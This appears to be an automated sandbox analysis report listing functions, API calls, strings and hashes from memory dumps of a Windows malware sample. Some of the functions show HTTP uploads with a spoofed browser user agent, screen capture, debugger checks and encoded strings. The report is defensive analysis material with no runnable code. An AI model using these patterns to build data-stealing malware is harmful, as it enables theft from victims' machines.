Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: dce263dd2b66d3c46ff005e6ef609abf1673b38a8881bd7193a125253371cea2
Instruction ID: a02373a36eddde12952eb73785a8be78ec6c1cc3921e4573e3bb2caf9ca47cfa
Opcode Fuzzy Hash: dce263dd2b66d3c46ff005e6ef609abf1673b38a8881bd7193a125253371cea2
Instruction Fuzzy Hash: 37C08C31000208FBCB00AB45C80AA4E7BA9DB80364F204044F40027280CAB5EE009680

Uniqueness

Uniqueness Score: -1.00%

Function 004123B0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FreeConsole.KERNELBASE ref: 004123B4

Memory Dump Source

Source File: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: e07f1e1951b3a9eb1f4a5374a332ef75f3ea083097528d83e89bd0a35139e573
Instruction ID: b4408e28ae5a3985bedf0169f955a201bda6a5b147566cdb0e2c8091a391f17c
Opcode Fuzzy Hash: e07f1e1951b3a9eb1f4a5374a332ef75f3ea083097528d83e89bd0a35139e573
Instruction Fuzzy Hash: DAB09BB4401308F78710DF95C90588EBFFC9608215F104054B50053304CBB59B445F98

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00760A50 Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 394COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00760B07
_strlen.LIBCMT ref: 00760B2A
_strlen.LIBCMT ref: 00760B67
_strlen.LIBCMT ref: 00760B8A
_strlen.LIBCMT ref: 00760BB1
_strlen.LIBCMT ref: 00760BD7
_strlen.LIBCMT ref: 00760C14
_strlen.LIBCMT ref: 00760C3D
_strlen.LIBCMT ref: 00760C5E
_strlen.LIBCMT ref: 00760C84
_strlen.LIBCMT ref: 00760CB0
_strlen.LIBCMT ref: 00760CD6
_strlen.LIBCMT ref: 00760D16
_strlen.LIBCMT ref: 00760D3C
_strlen.LIBCMT ref: 00760DF8
_strlen.LIBCMT ref: 00760E1E

Strings

, xrefs: 00760E4A
Content-Type: attachment/x-object, xrefs: 00760CF8
file, xrefs: 00760AAF
"; filename=", xrefs: 00760BF3
Content-Disposition: form-data; name=", xrefs: 00760B49
", xrefs: 00760C92
be85de5ipdocierre1, xrefs: 00760AB7

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: $Content-Disposition: form-data; name="$"$"; filename="$Content-Type: attachment/x-object$be85de5ipdocierre1$file
API String ID: 4218353326-920855815
Opcode ID: 74a74df3f552f1f70ab72014ff2b255d3a18ad7dc3ba2d1f7d743143b29acd76
Instruction ID: abcbc9f849e31f27feccbf734a658d52b2116f106c5069b5880150dab3d09560
Opcode Fuzzy Hash: 74a74df3f552f1f70ab72014ff2b255d3a18ad7dc3ba2d1f7d743143b29acd76
Instruction Fuzzy Hash: D9F136B5E00600CFCB04EF7CD88585ABBF5FF8D310B258669E955AB364E735A814CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0073B240 Relevance: 33.7, APIs: 14, Strings: 5, Instructions: 409stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 0073B319
lstrcatW.KERNEL32 ref: 0073B331
lstrlenW.KERNEL32 ref: 0073B341
lstrlenW.KERNEL32 ref: 0073B375
lstrlenW.KERNEL32 ref: 0073B4B0
lstrlenW.KERNEL32 ref: 0073B506

Strings

ntdll.dll, xrefs: 0073B403, 0073B55B, 0073B878
LOCK, xrefs: 0073B725
!@, xrefs: 0073B45A
kernel32.dll, xrefs: 0073B26E
\??\, xrefs: 0073B30C

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcat
String ID: !@$LOCK$\??\$kernel32.dll$ntdll.dll
API String ID: 493641738-3540211561
Opcode ID: 4a26d932145acaa4a359984836febeee7d026a950d86c2ee8fb5c644915efc0d
Instruction ID: 0af706aee1e7ae8bdf3eb7bca24ffc403bd5676a833f04fcb0c02b61739255ef
Opcode Fuzzy Hash: 4a26d932145acaa4a359984836febeee7d026a950d86c2ee8fb5c644915efc0d
Instruction Fuzzy Hash: 6A12DEB5A09340CFD704DF68C58961ABBF0FB89318F108A1EF9998B391D779D845CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0075F580 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 321fileCOMMON

Download Yara Rule

APIs

WinHttpOpen.WINHTTP ref: 0075F5F0
WinHttpCrackUrl.WINHTTP ref: 0075F66A
WinHttpConnect.WINHTTP ref: 0075F6F9
WinHttpOpenRequest.WINHTTP ref: 0075F754
WinHttpSendRequest.WINHTTP ref: 0075F7A3
WinHttpReceiveResponse.WINHTTP ref: 0075F7CA
WinHttpCloseHandle.WINHTTP ref: 0075F955
CreateFileW.KERNEL32 ref: 0075FA12

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 0075F5C5
<, xrefs: 0075F61B
<, xrefs: 0075F60E
GET, xrefs: 0075F725

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: Http$OpenRequest$CloseConnectCrackCreateFileHandleReceiveResponseSend
String ID: <$<$GET$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
API String ID: 1437502892-3606546913
Opcode ID: 04b1ba91f718a64e128b8fdb5b123ef8730e035ac6adcd9be95e8ac49aa4d059
Instruction ID: f4270f110aed03255873e17b57ea786707a4cdfa910c265011f89bde97f29040
Opcode Fuzzy Hash: 04b1ba91f718a64e128b8fdb5b123ef8730e035ac6adcd9be95e8ac49aa4d059
Instruction Fuzzy Hash: B5E1D2B0508741DFD714DF28C59876EBBE0BB89319F108A2EF89987290D7B89949CF47

Uniqueness

Uniqueness Score: -1.00%

Function 007794D0 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 400memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00779658
HeapAlloc.KERNEL32 ref: 0077966D
GetProcessHeap.KERNEL32 ref: 007797A3
HeapAlloc.KERNEL32 ref: 007797BA
GetDC.USER32 ref: 007797D0
GetDIBits.GDI32 ref: 00779819
ReleaseDC.USER32 ref: 00779833
GetProcessHeap.KERNEL32 ref: 007798A7
HeapAlloc.KERNEL32 ref: 007798BE
GetProcessHeap.KERNEL32 ref: 00779974
HeapFree.KERNEL32 ref: 0077998B
GetProcessHeap.KERNEL32 ref: 00779998
HeapFree.KERNEL32 ref: 007799AF

Strings

BM, xrefs: 00779705

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Free$BitsRelease
String ID: BM
API String ID: 4178948222-2348483157
Opcode ID: 82483d318aedd622cc8f6c0a5cb2cde3b9e0bb0f14ccc49058b797b924412770
Instruction ID: 05b9022b20f9fc7b32ac9bc83b169943586ebaa892a091be0263eec6aaefbce1
Opcode Fuzzy Hash: 82483d318aedd622cc8f6c0a5cb2cde3b9e0bb0f14ccc49058b797b924412770
Instruction Fuzzy Hash: 76E16D726186118BD708DF3DC85521ABAE2ABC9334F15872DF9B9C73E0D778D9028B46

Uniqueness

Uniqueness Score: -1.00%

Function 0073AE10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 238stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 0073AF35
lstrcatW.KERNEL32 ref: 0073AF4C
lstrlenW.KERNEL32 ref: 0073AF5A
lstrlenW.KERNEL32 ref: 0073AFD4

Strings

, xrefs: 0073B0A5
ntdll.dll, xrefs: 0073B047, 0073B0C4
kernel32.dll, xrefs: 0073AE6B
\??\, xrefs: 0073AF25

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen
String ID: $\??\$kernel32.dll$ntdll.dll
API String ID: 1475610065-3837677799
Opcode ID: 3ee8229047c76d53ac173ea3ca7ce632a37c84ca53451828cfee3345a673654d
Instruction ID: 52ccfeed81c9889061bba3303faa392ec78c3b02ef6f1ff1c02b6884323ce344
Opcode Fuzzy Hash: 3ee8229047c76d53ac173ea3ca7ce632a37c84ca53451828cfee3345a673654d
Instruction Fuzzy Hash: 2DA189B19152008FD704EF78D84665EBFF1FF8A320F14862DE4A9AB390D7799904CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00404DDA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00408C8D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00408CA2
UnhandledExceptionFilter.KERNEL32((uI), ref: 00408CAD
GetCurrentProcess.KERNEL32(C0000409), ref: 00408CC9
TerminateProcess.KERNEL32(00000000), ref: 00408CD0

Strings

(uI, xrefs: 00408CA8

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: (uI
API String ID: 2579439406-2488777421
Opcode ID: 8b091ce946ae9fc418885aaded113ec403a42decba85f9e59660e887bcf3e786
Instruction ID: 871aeac544a426f192bd4e3a524ff8731a51a4bff8345194761cd69c9e62c4c3
Opcode Fuzzy Hash: 8b091ce946ae9fc418885aaded113ec403a42decba85f9e59660e887bcf3e786
Instruction Fuzzy Hash: 1221D2B4829604EFD740DF29FD896943BB0BB28361F11507BE50897361E7745A81CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00779A40 Relevance: 6.2, APIs: 4, Instructions: 160COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(?), ref: 00779BFC
GetSystemMetrics.USER32 ref: 00779C0E
CreateDCW.GDI32 ref: 00779C55
DeleteDC.GDI32 ref: 00779C89

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: MetricsSystem$CreateDelete
String ID:
API String ID: 1043530637-0
Opcode ID: ced359969523122a683410a5d68a23b65243e467c619f565e433f449370de185
Instruction ID: 7cbb2cf799f1f0fee1affc2a1bc84e76019f61023f09d58e5ab420937ebbdf16
Opcode Fuzzy Hash: ced359969523122a683410a5d68a23b65243e467c619f565e433f449370de185
Instruction Fuzzy Hash: 8351ACBA5146479BDB08BF3CDC542D37BB1EBAB324F20C124E5858B364E3790446CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0077FD95 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0077FDA1
IsDebuggerPresent.KERNEL32 ref: 0077FE6D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0077FE86
UnhandledExceptionFilter.KERNEL32(?), ref: 0077FE90

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3cc60364f4974c4b9dfb29dffb0a1eedb79680f9f606ae707b3cb563614e0f49
Instruction ID: b6aa5d226ffb71a7f8229f483fc37d8da1c5645e7f7760b6c65b01863fd74e39
Opcode Fuzzy Hash: 3cc60364f4974c4b9dfb29dffb0a1eedb79680f9f606ae707b3cb563614e0f49
Instruction Fuzzy Hash: B231E875D01218DBDF21EFA4D9497CDBBB8BF08340F1081AAE40DAB291EB759A858F45

Uniqueness

Uniqueness Score: -1.00%

Function 00760390 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 340COMMON

Download Yara Rule

APIs

Part of subcall function 007607D0: _strlen.LIBCMT ref: 0076086C
Part of subcall function 007607D0: _strlen.LIBCMT ref: 0076088F
Part of subcall function 007607D0: _strlen.LIBCMT ref: 007608D2

Part of subcall function 00760A50: _strlen.LIBCMT ref: 00760B07
Part of subcall function 00760A50: _strlen.LIBCMT ref: 00760B2A

_strlen.LIBCMT ref: 00760771

Part of subcall function 00787725: _free.LIBCMT ref: 00787738

Strings

send_message, xrefs: 00760732
NmLpQW--spam2, xrefs: 00760715

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _strlen$_free
String ID: NmLpQW--spam2$send_message
API String ID: 2111596847-2954466529
Opcode ID: 55fb92e6fc7b1faa518b3756137dd5193c10449761d713e49f0ee0bb0443b7af
Instruction ID: a877025cd4488fc6cc224af87cf4b38bf2b63911745a02649c4510f4a4ca4eaf
Opcode Fuzzy Hash: 55fb92e6fc7b1faa518b3756137dd5193c10449761d713e49f0ee0bb0443b7af
Instruction Fuzzy Hash: 30C12AA5B01680AFD7018B74ECD25EA3FF4DB9B314F04D245E4919B7A3D22D4606CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 007760A0 Relevance: 4.6, APIs: 3, Instructions: 75encryptionCOMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 007760B4
CryptStringToBinaryA.CRYPT32 ref: 007760F6
CryptStringToBinaryA.CRYPT32 ref: 00776173

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: BinaryCryptString$_strlen
String ID:
API String ID: 1460654939-0
Opcode ID: 4fa192f6925f522d779bfa6a6ea23bce8a80bb81fbd77d33a0a475c943d6c4a2
Instruction ID: 61c6d8cdf4c1b9c6363fa0ee31665761144281cee867166a403577a55871f547
Opcode Fuzzy Hash: 4fa192f6925f522d779bfa6a6ea23bce8a80bb81fbd77d33a0a475c943d6c4a2
Instruction Fuzzy Hash: D6319DB450C7058FD740DF28C18871ABBE0AF88358F508A1EF89997295D7B9D9898B83

Uniqueness

Uniqueness Score: -1.00%

Function 00791F5A Relevance: 3.1, APIs: 2, Instructions: 116timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,?,?,0079246B,?,?,?,?,?,?,00000000,00000000), ref: 00791FCC
_free.LIBCMT ref: 00791FBA

Part of subcall function 0078D342: RtlFreeHeap.NTDLL(00000000,00000000,?,0078773D,?), ref: 0078D358
Part of subcall function 0078D342: GetLastError.KERNEL32(?,?,0078773D,?), ref: 0078D36A

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapInformationLastTimeZone_free
String ID:
API String ID: 3107070095-0
Opcode ID: 60bbd2e8a485140af3637fe80ef45cc8b778792f33cf245fcb723c9e74378231
Instruction ID: bb8e83156dab9165247019c07c309f8c8ea749528b0e9b185c34d99926b787ff
Opcode Fuzzy Hash: 60bbd2e8a485140af3637fe80ef45cc8b778792f33cf245fcb723c9e74378231
Instruction Fuzzy Hash: F831C2B1900115FBCF11BF68ED0AA8E7FB9FF46350F118066F504A71A2E7389921CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00731880 Relevance: 3.0, APIs: 2, Instructions: 44COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0073188E
___from_strstr_to_strchr.LIBCMT ref: 007318C2

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID:
API String ID: 601868998-0
Opcode ID: 3d7b72923ea645a711429dcc5990d3cd31219742e594b479c3e787a3f12556a7
Instruction ID: c2acb91d2d6dadba687f8917f8a8f7caaafcd3423a30797ddfea68573752d82c
Opcode Fuzzy Hash: 3d7b72923ea645a711429dcc5990d3cd31219742e594b479c3e787a3f12556a7
Instruction Fuzzy Hash: CAF082D6F5024163A91069656C4AD6B56AD8BE67AAF4C0038F900F3243F959EC1542B6

Uniqueness

Uniqueness Score: -1.00%

Function 0077FFA8 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0077FFBE

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: dda9ee88709936c6eea5c3a10fa8fcb68f0d1a406e4e80e92045ad004137e61f
Instruction ID: 6f1d551fd0b4af614e5dd3389fac8643e875d0549ddaee42960a9841e6184c51
Opcode Fuzzy Hash: dda9ee88709936c6eea5c3a10fa8fcb68f0d1a406e4e80e92045ad004137e61f
Instruction Fuzzy Hash: FD51AEB1A426098FEB68CF54D8897AEB7F0FB89310F24846AC405EB351D7789D54CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0078C39E Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0078C39E

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: de6655805630e6360a9379948a8a3e96c7a936995bfcaca1002dedd094b35b4f
Instruction ID: f5cc0e069c9567e752058bcc94d95f643f433fd1b728c2b95bcf130f66af5710
Opcode Fuzzy Hash: de6655805630e6360a9379948a8a3e96c7a936995bfcaca1002dedd094b35b4f
Instruction Fuzzy Hash: EEA012301051018F43804F345E043093595B986290705C0145000C9060DA284000560A

Uniqueness

Uniqueness Score: -1.00%

Function 00779000 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 186stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 0077903A
lstrcatW.KERNEL32 ref: 00779054
lstrcatW.KERNEL32 ref: 0077906C
lstrcatW.KERNEL32 ref: 007790BC
lstrcatW.KERNEL32 ref: 007790D6
lstrcatW.KERNEL32 ref: 007790F1
lstrcatW.KERNEL32 ref: 0077910B
lstrcatW.KERNEL32 ref: 00779123

Strings

3e25f2624e4993015b56dc114f499b165b, xrefs: 0077926A
5e6687603d09e80b3703f44e2d17eb092a03, xrefs: 00779224
708563d71be01ae35ee101, xrefs: 007791BB
20ae83e543cbf1911980e787, xrefs: 007791DE
6181e60b07ee946609e8957f0ef39f2512f08a6215e4, xrefs: 00779201
1fc5749573aa13fc71b65aff6caa1a, xrefs: 00779247

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: 1fc5749573aa13fc71b65aff6caa1a$20ae83e543cbf1911980e787$3e25f2624e4993015b56dc114f499b165b$5e6687603d09e80b3703f44e2d17eb092a03$6181e60b07ee946609e8957f0ef39f2512f08a6215e4$708563d71be01ae35ee101
API String ID: 4038537762-3115203552
Opcode ID: c5884a4fca2fdd362ad69c27c2224166a171977bd38e3fd63176f848697be7bb
Instruction ID: e916ccc96708fb1a14ff66290f0ee483f9f053d4efc1ab9123b9b80c0ac3ac64
Opcode Fuzzy Hash: c5884a4fca2fdd362ad69c27c2224166a171977bd38e3fd63176f848697be7bb
Instruction Fuzzy Hash: 0861F0F59093419FD704EF68E98992EBBE4EB85744F00882DF88993301E739D919CB67

Uniqueness

Uniqueness Score: -1.00%

Function 007607D0 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 236COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0076086C
_strlen.LIBCMT ref: 0076088F
_strlen.LIBCMT ref: 007608D2
_strlen.LIBCMT ref: 007608F8
_strlen.LIBCMT ref: 0076092A
_strlen.LIBCMT ref: 0076094D
_strlen.LIBCMT ref: 0076098A
_strlen.LIBCMT ref: 007609AD
_strlen.LIBCMT ref: 007609DA
_strlen.LIBCMT ref: 007609FD

Strings

Content-Disposition: form-data; name=", xrefs: 007608B4
", xrefs: 0076096C
be85de5ipdocierre1, xrefs: 00760817

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
